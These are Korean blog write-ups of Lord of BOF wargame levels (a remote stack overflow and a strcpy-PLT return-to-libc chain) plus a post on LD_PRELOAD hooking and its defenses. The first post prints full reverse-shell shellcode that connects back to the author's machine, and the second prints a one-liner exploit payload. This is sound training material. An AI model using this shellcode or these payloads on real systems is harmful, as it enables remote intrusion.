[Preview]


대망의 lob 복기 마지막 문제.. 이전에 풀 땐 귀찮아서 해당 문제를 스킵했었는데 왜 그랬었나 후회가 되는 시점입니다. 뭐 어쨌든 제겐 첫 remote exploit 문제였습니다. 지금까지 로컬에서만 문제를 풀어왔는데 remote로 하니 제한적인 부분이 많다는걸 느꼈습니다 ㅋㅋ.. 본래대로라면 리버스쉘코드 하나가지고 쉭쉭 익스해서 풀렸어야 하는데.. 제 내부망 ip대역이 192.168.0.* 대역이라 ip 주소를 넣는데 \x00이 들어가더군요.. 얘 땜에 쉘코드 고쳐서 만드느라 조금 고생했습니다 ㅋㅋㅋ 뭐 쨌든 시작합니다.


[Code & Analysis]


/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }


뭐.. 코드가 긴데요. 대충 해석하자면 6666포트로 INADDR_ANY로 소켓 연 다음 fork()로 child process 생성해서 거기서 recv로 클라에서 받아온 값을 버퍼에 저장하는 코드입니다. 근데 버퍼는 40 바이트인데 recv를 256바이트 받아서 bof가 터진다는 직관적인 코드입니다. 일단 remote로 input값을 넣어야하고, child process에서 buffer에 값을 넣기 때문에 단순 쉘코드만 넣어선 그 결과를 볼 수가 없습니다. 때문에 리버스쉘을 통해 제 쉘과 연결하여 interactive하게 동작하게끔 해야하는 상황입니다.


[Exploit]


이미 제가 필요한 것은 누군가가 해 놓았습니다.


https://www.exploit-db.com/exploits/25497/


exploit-db에 2013년에 올라온 쉘코드인데요, 쉘코드에서 설정된 ip와 포트로 리버스쉘(/bin/sh)을 연결하는 쉘코드입니다.


근데 preview에서 말했듯이 제 ip는 192.168.0.* 대역이었습니다.



하... 쉘코드 중간에 보면 ip 주소를 넣는 부분이 있습니다.


804807f:       68 c0 a8 01 0a          push   0xa01a8c0


문제의 지점...ㅋㅋㅋ


쉘코드에 널바이트가 삽입되면 해당 부분까지만 쉘코드를 인식하기 때문에 정상적으로 익스플로잇 되지 않습니다. 때문에 해당 부분 쉘코드를 수정해서 삽입하기로 마음먹었습니다..!!!!!


일단 쉘코드부터 보면..


\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x66\xBA\x01\x86\x80\xEA\x01\xC1\xE2\x10\x66\x81\xC2\xC0\xA8\x52\x31\xD2\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80



1f부분부터 제가 변경한 쉘코드인데요. 간단히 설명하면 본래 제 ip를 hex로 변환하면 0xc0a80086 입니다만, 0xc0a80186에서 0x100을 빼서 널바이트를 제거하는 것이 목적이었습니다. 근데.. 제가 무지해서 그런지 이 부분에서 삽질을 좀 했습니다.


본래 코드는 'push 0xc0a80086' 이런식으로 진행됐었죠? 근데 저는 연산을 하기 위해 해당 쉘코드에서 사용하지 않는 레지스터 $edx를 이용하여 연산 후 push $edx로 argument를 세팅해 주었었습니다. 근데 아뿔싸... push 0xc0a80086 으로 넣으면 자동으로 메모리에 엔디안을 적용하여 삽입되는데, 레지스터의 값을 push 해주면 엔디안이 적용되지 않고 삽입이 되더군요.


이 내용을 몰라 왜 안되지? 하며 여러번 시도하다가 디버깅 후에 알게되었습니다.. 뭔가 이상하면 첨부터 디버깅을 합시다 흑흑


뭐 어쨌든 그래서 처음부터 엔디안을 적용하여 0x8600a8c0 을 세팅하고(4바이트 레지스터에 값을 넣으면 자동으로 널바이트가 삽입되어 dx, dl을 활용하고 쉬프트 연산을 통해 값을 세팅하였습니다) 이를 스택에 넣는것으로 쉘코드를 재구성하였습니다.




이제 리버스쉘코드도 완성되었고 남은것은 진짜 익스뿐이네요. 우리는 원격지의 바이너리를 디버깅할 수 없기 때문에 우리가 덮을 ret가 가리킬 쉘코드의 주소를 알 수 없습니다. 때문에 brute forcing을 통해 0xbfffffff부터 아래로 내려가며 ret값을 때려맞춰야 합니다.(아래로 내려가는 이유는.. 그게 더 빨리 찾을 수 있잖아요??)




익스플로잇은 pwntools 이용하여 했습니다.


[dummy(44byte)] [ret(brute forcing)] [nop_sled(44byte)] [shellcode]


이렇게 구성한 후 ret 값을 0xbfffffff부터 16바이트씩 내리면서 브루트포싱하였습니다. (1바이트씩 안내려도 놉슬레드타고 쉘코드가 실행되기 때문)




nc로 31337포트 열어놓고 익스플로잇 코드를 실행시키면..!


flag get!


'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 17->18 nightmare  (0) 2018.08.18

[Preview]


여전히 lob 복기중입니다 ㅋㅋㅋ 좀 오래걸린감이 있지만 요즘 공부를 손에 놓아서... 이번에 lob 복기를 하며 전에 풀었던 방법들이 다 기억이 나지 않아 아예 새로 풀고 있는데, 좀 특이하게(?) 이 문제를 푼것 같은 느낌이 들어 이 문제에 대해서 라업을 작성하려 합니다. 본래 더 쉽게 푸는 방법은 타 블로그에 많으니 해당 내용들 참고해주시기 바랍니다. 이렇게 풀다보니 어찌저찌 rtl을 연습하게 된 것 같네요 ㅋㅋ


[Code & Analysis]


/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv errorn");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%sn", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}


간단히 설명하자면 ebp+4 에 존재하는 ret값이 strcpy의 주소(0x8048410)와 일치하는 지 비교하여 일치하지 않으면 종료합니다. 그리고 ret 다음 4바이트, 즉 strcpy 이후에 반환될 ret2 영역을 'A'로 덮어 줍니다. 때문에 우리는 strcpy를 사용해야만 하는데 이 상황에서 strcpy 다음에 뛸 주소(strcpy의 ret addr)를 컨트롤하지 못하는 상황입니다.



[Exploit]


strcpy를 사용해야만 하는 것을 다시 잘 생각해보았습니다. strcpy는 2개의 인자(argument)를 받으며, strcpy가 동작하는 것은 정확히는 첫번째 인자의 주소가 가리키는 buffer에 두번째 인자의 주소가 가리키는 buffer를 덮어씌우는 것입니다.(\x00이 나올 때 까지) 그리고 우리는 ret주소를 strcpy의 plt를 가르키게 하여 메인함수가 종료된 후 strcpy를 실행하고 있습니다.


[SFP] [RET] [RET2] [arg1_strcpy] [arg2_strcpy]


정상적으로 strcpy를 실행시키기 위해선 위와같이 스택이 구성되어 있을 것입니다.

하지만 RET2 영역을 'AAAA'로 덮어 씌우고 있는것이 문제 상황입니다. 때문에 우리는 strcpy의 arg1에 ret2 주소를 넣고, arg2에 내가 ret2부터 넣고싶은 원하는 값이 들어있는 버퍼의 주소를 적어준다면, 우리는 AAAA로 덮어씌워진 ret2의 주소를 컨트롤할 수 있습니다.


하지만 인자가 2개 들어가있기 때문에 strcpy가 끝난 후 ppr 가젯을 실행 시켜야 우리가 원하는 system 함수를 통한 rtl을 할 수 있습니다.


[BUF] [SFP] [RET] [ppr_gadget] [RET2_addr] [shellcode_addr] [libc_system] [Dummy(RET3)] ["/bin/sh"_addr]


위와같이 익스플로잇 코드가 구성되면 우리가 원하는대로 쉘을 딸 수 있을 것입니다.


우선 ppr_gadget을 모으기 위해 libc 를 objdump하여 이 중 ppr을 찾습니다.



ppr 오프셋을 찾았으니 /proc/self/maps 에서 libc-base 주소를 알아냅니다



libc-base 주소에서 아까 구한 ppr의 오프셋을 더하면 ppr의 주소가 나옵니다. aslr이 안걸려있기 때문에 주소는 고정입니다.



  `python -c 'print "\xf6\x6f\x07\x40" + "G"*8 + "\xe0\x8a\x05\x40" + "HHHH" + "\x3d\xfc\xff\xbf" + "B"*20 

  + "\x10\x84\x04\x08" + "CCCC" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 



[ret2(ppr_gadget_addr)] [dummy1(arg1)] [dummy2(arg2)] [libc-system()] [dummy3(ret3)] ["/bin/sh" addr] [buf(20)] [strcpy_plt(ret1)] [dummy0(ret2)] [dummy0_addr (ret2_addr)] [buf_addr(버퍼시작주소)]





주소를 정확히 찍어서 익스플로잇 코드를 작성하였기 때문에 똑같은 환경에서 실행하기 위해 링킹을 걸어 실행하였습니다.



'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 19->20 death_knight  (0) 2018.08.21

[작성 계기]

lob(lord of bof)를 복기하던 중 ld_preload로 참조하는 라이브러리 이름에 쉘코드를 담아 bof 취약점을 공격하는 문제가 있었습니다. 해당 문제에서의 조건은 ret 이후 스택영역을 모두 0으로 세팅하기 때문에 일반적으로 envp에 담겨있던 "LD_PRELOAD=[Library_name]"은 존재하지 않습니다...만 어딘가에(? 아직 어느부분인지 확실하지 않아 우선 '어딘가'로 표현하겠습니다. 알아낸 후 수정하겠습니다.) LD_PRELOAD에 담았던 라이브러리의 이름(경로)이 부분적으로 남아있는 것을 확인할 수 있었습니다.(그림1. 참조) 때문에 해당 찌꺼기(?)가 왜 존재하게 되었는지에 대한 궁금증으로 LD_PRELOAD와 이와 유사한 LD_LIBRARY_PATH에 대해 알아보았습니다.


[그림 1] 어딘가에(?) 존재하는 LD_PRELOAD로 선언된 라이브러리의 이름 찌꺼기(?)



[배경 지식]


# LD_PRELOAD

 - 공유 라이브러리의 라이브러리보다 먼저 LD_PRELOAD로 지정해준 라이브러리를 바라봄

 - 후킹할때 사용할 수 있다.

 - export LD_PRELOAD=[LibraryPath]

  * ex. export LD_PRELOAD=library_A.so

 - LD_PRELOAD로 선언 시 preprocess에서 libc.so와 같은 라이브러리 보다 먼저 LD_PRELOAD로 선언된 라이브러리를 바라봄

  + 만약 실행파일에서 printf를 사용하여 문구를 출력해주고 있다면 printf()라는 함수명을 똑같이 맞춰준 뒤 그 안에 내가 원하는 코드를 작성하면, printf를 공유 라이브러리에서 불러오기 전에 LD_PRELOAD로 선언된 라이브러리의 printf() 안의 내용을 먼저 실행한다.

  + 때문에 우리가 생각하는 'Hooking'이 가능하게 된다.

  ++ 다만 공유 라이브러리에서 불러오는 함수를 실행하는것을 '대체'하여 LD_PRELOAD 라이브러리를 실행하기 때문에 본래 함수는 실행되지 않는다.

  !!! 때문에 본래 함수의 인자값을 맞추어 해당 기능까지 실행되게 한다면 프로그램 실행 - '후킹기능' - '본래기능' ~... 과 같은 흐름으로 실행될 수 있다.



# LD_LIBRARY_PATH

 - 작성 예정...



[실습(?)]


  

  #include <stdio.h>


  int main(int argc, char* argv[]) {

      printf("Hello World");

      return 0;

  } 


[코드 1] test.c



  printf(char* a) {

      puts("Hooking!");

      puts(a);

  } 


[코드 2] hook.c


[코드 1]과 [코드 2]는 간단히 printf 를 해주는 test.c와 printf를 후킹하는 hook.c이다. test.c 에서 사용하는 printf 함수를 후킹하기 위해 hook.c에 printf로 똑같이 선언하였다.



  $ gcc -o test test.c


  $ gcc -fPIC -shared -o hook.so hook.c


  $ export LD_PRELOAD=./hook.so


[코드 3] 컴파일 및 LD_PRELOAD 세팅


[코드 3]은 test.c와 hook.c를 각각 실행파일과 공유 라이브러리로 컴파일하고 컴파일된 공유 라이브러리(hook.so)를 LD_PRELOAD 환경변수에 세팅해주는 명령어이다. 위와같이 실행 후 다음 [그림 2]와 같은 결과를 얻을 수 있다.



[그림 2] LD_PRELOAD 세팅 후 실행 결과




[대응방안(?)]


위와 같이 LD_PRELOAD 환경변수를 이용하여 로컬단에서 후킹하는 것을 막기 위한 방법은 없을까? 라는 의문이 들었다. 찾아본 결과 이를 해결하기 위한 방안으로 몇 가지가 있었고, 이에 대해 소개하려 한다.[각주:1]


1. setuid(setgid) 설정

  - LD_PRELOAD 환경변수는 자신이 권한을 가지지 않은 user의 파일에 대해선 적용되지 않는다. 허나 자신이 권한을 가지지 않은 user의 파일을 읽거나 실행시켜야 할 때가 있는데, 이 때 setuid를 설정한다. 파일의 소유 권한을 나눈 후 setuid를 설정해주면 LD_PRELOAD를 통한 후킹을 막을 수 있다.



[그림 3] root 권한, setuid가 걸린 바이너리 'gremlin'



[그림 4] setuid 바이너리 실행 결과



[그림 3]과 [그림 4]를 살펴보면 setuid가 걸린 바이너리를 실행하면 LD_PRELOAD로 세팅된 puts("hooked!"); 가 실행되지 않는 것을 살펴볼 수 있다.



2. LD_PRELOAD를 사용하지 않는 secure loader


  - off the shell tool을 사용하여 LD_PRELOAD를 사용하지 않는(ld를 대체하는) secure loader를 사용한다. 자세한 내용은 각주 참고.[각주:2]

   * 해당 방법을 사용하면 몇몇 앱은 동작하지 않을수도 있다



3. LD_PRELOAD를 사용하지 않는 libc 사용


  - LD_PRELOAD를 사용하지 않는 libc를 사용한다. musl libc[각주:3]가 해당 기능을 제공한다고 한다.



4. Sandbox 적용


  - LD_PRELOAD를 사용하여 후킹을 하더라도 해당 앱이 다른 프로세스를 제어하지 않게끔 Sandbox 기술을 적용한다.




[정리]


위와 같이 LD_PRELOAD 환경변수를 세팅하여 프로그램 실행을 후킹할 수 있는 방법과 이에 대한 대응방안에 대해 알아보았다. 현재는 간단한 후킹에 대한 실험만 해놓았지만 본래 목적이었던 'LD_PRELOAD에 세팅된 공유 라이브러리의 이름이 왜 남는가?'에 대한 질문은 아직 해소되지 않았다. 아는 멋진 분께 질문하여 해당 질문에 대한 답은 얻었지만 아직 내 눈으로 직접 확인하지 못하였기에 elf Loader에 대해 분석(?)을 진행 후 이에 대한 내용을 추후 다시 작성하려 한다.

  * 참고로 해당 질문에 대한 답은 elf 로더에서 LD_PRELOAD 환경변수를 참조할 때 스택을 사용하게 되는데, 이 때 해당 정보를 읽으며 스택에 세팅된 공유 라이브러리의 이름(경로)을 남긴 후 지우지 않아 찌꺼기(?)가 남게 되는 것이라고 한다.[각주:4]

  1. https://security.stackexchange.com/questions/63599/is-there-any-way-to-block-ld-preload-and-ld-library-path-on-linux [본문으로]
  2. http://hexhive.github.io/projects/#TRuE [본문으로]
  3. http://www.musl-libc.org/ [본문으로]
  4. Thx. to singi [본문으로]

+ Recent posts